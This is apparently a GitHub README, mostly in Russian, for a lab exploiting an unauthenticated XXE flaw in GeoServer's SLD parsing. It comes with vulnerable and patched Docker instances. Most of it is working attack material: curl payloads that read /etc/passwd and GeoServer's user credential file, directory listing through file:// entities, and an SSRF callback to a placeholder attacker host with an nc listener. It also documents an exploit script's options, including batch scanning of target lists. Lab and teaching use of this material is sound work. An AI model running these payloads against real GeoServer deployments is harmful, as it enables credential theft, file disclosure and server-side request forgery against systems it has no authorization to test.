joker-wiggin/cve-2025-58360-geoserver-xxe
Неаутентифицированная инъекция внешних сущностей XML (XXE) в сервисах OWS/WMS GeoServer
CVSS: 9.8 КРИТИЧЕСКИЙ
Затронуто: <= 2.25.5, 2.26.0-2.26.1
Исправлено: 2.25.6+, 2.26.2+, 2.27.0+
Данная лаборатория демонстрирует CVE-2025-58360 — критическую XXE-уязвимость в обработке XML-запросов WMS/OWS в GeoServer. Уязвимость позволяет неаутентифицированным атакующим:
file:// в JavaМетод SLDParser.parseSLD() в GeoServer обрабатывает XML-документы стилей без надлежащих ограничений разрешения сущностей. В то время как диспетчер OWS использует AllowListEntityResolver для блокировки XXE, путь выполнения кода при разборе SLD обходит эту защиту:
POST /geoserver/ows?service=WMS&request=GetMap
|
v
+-----------------------------+
| OWS Dispatcher | <-- EntityResolver configured
| (Detects SLD in body) |
+-----------------------------+
|
v
+-----------------------------+
| SLDXmlRequestReader |
| -> SLDHandler.parse() |
| -> SLDParser.parseSLD() | <-- NO EntityResolver!
+-----------------------------+
|
v
XXE RESOLVED -> File/SSRF
# Start both vulnerable and patched instances
docker-compose up -d
# Vulnerable: http://localhost:8080/geoserver
# Patched: http://localhost:8081/geoserver
# Wait ~60 seconds for startup
Учетные данные по умолчанию: admin / geoserver
curl -s -X POST \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<n>&xxe;</n>
</NamedLayer>
</StyledLayerDescriptor>' \
"http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"
Уязвимый ответ:
<ServiceException>
Unknown layer: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
</ServiceException>
Исправленный ответ:
<ServiceException>
Entity resolution disallowed for file:///etc/passwd
</ServiceException>
file:///opt/geoserver_data/security/usergroup/default/users.xml
file:///opt/geoserver_data/global.xml
Обработчик file:// в Java читает каталоги как списки файлов, разделенные переводами строк:
# List root directory
python3 exploit.py -u http://localhost:8080 --file /
# Enumerate geoserver data
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/security/
Результат:
__cacert_entrypoint.sh
.dockerenv
bin
boot
dev
etc
home
...
Это позволяет полностью перечислить файловую систему перед выбором конкретных файлов.
# Start listener
nc -lvnp 9999
# Send payload
curl -s -X POST \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "http://YOUR_IP:9999/callback">
]>
<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<n>&xxe;</n>
</NamedLayer>
</StyledLayerDescriptor>' \
"http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"
# Version check
python3 exploit.py -u http://localhost:8080
# Safe probe (no data exfil)
python3 exploit.py -u http://localhost:8080 --probe
# File read
python3 exploit.py -u http://localhost:8080 --file /etc/passwd
# SSRF
python3 exploit.py -u http://localhost:8080 --ssrf http://attacker:9999/callback
# Verbose mode
python3 exploit.py -u http://localhost:8080 --file /etc/passwd -v
# Batch scan
python3 exploit.py --list targets.txt --output vulnerable.txt
geoserver-xxe-lab/
├── README.md
├── docker-compose.yml
└── exploit.py
Обновитесь до GeoServer 2.25.6+, 2.26.2+ или 2.27.0+
Только для авторизованного тестирования безопасности и в образовательных целях.
El Perro Joke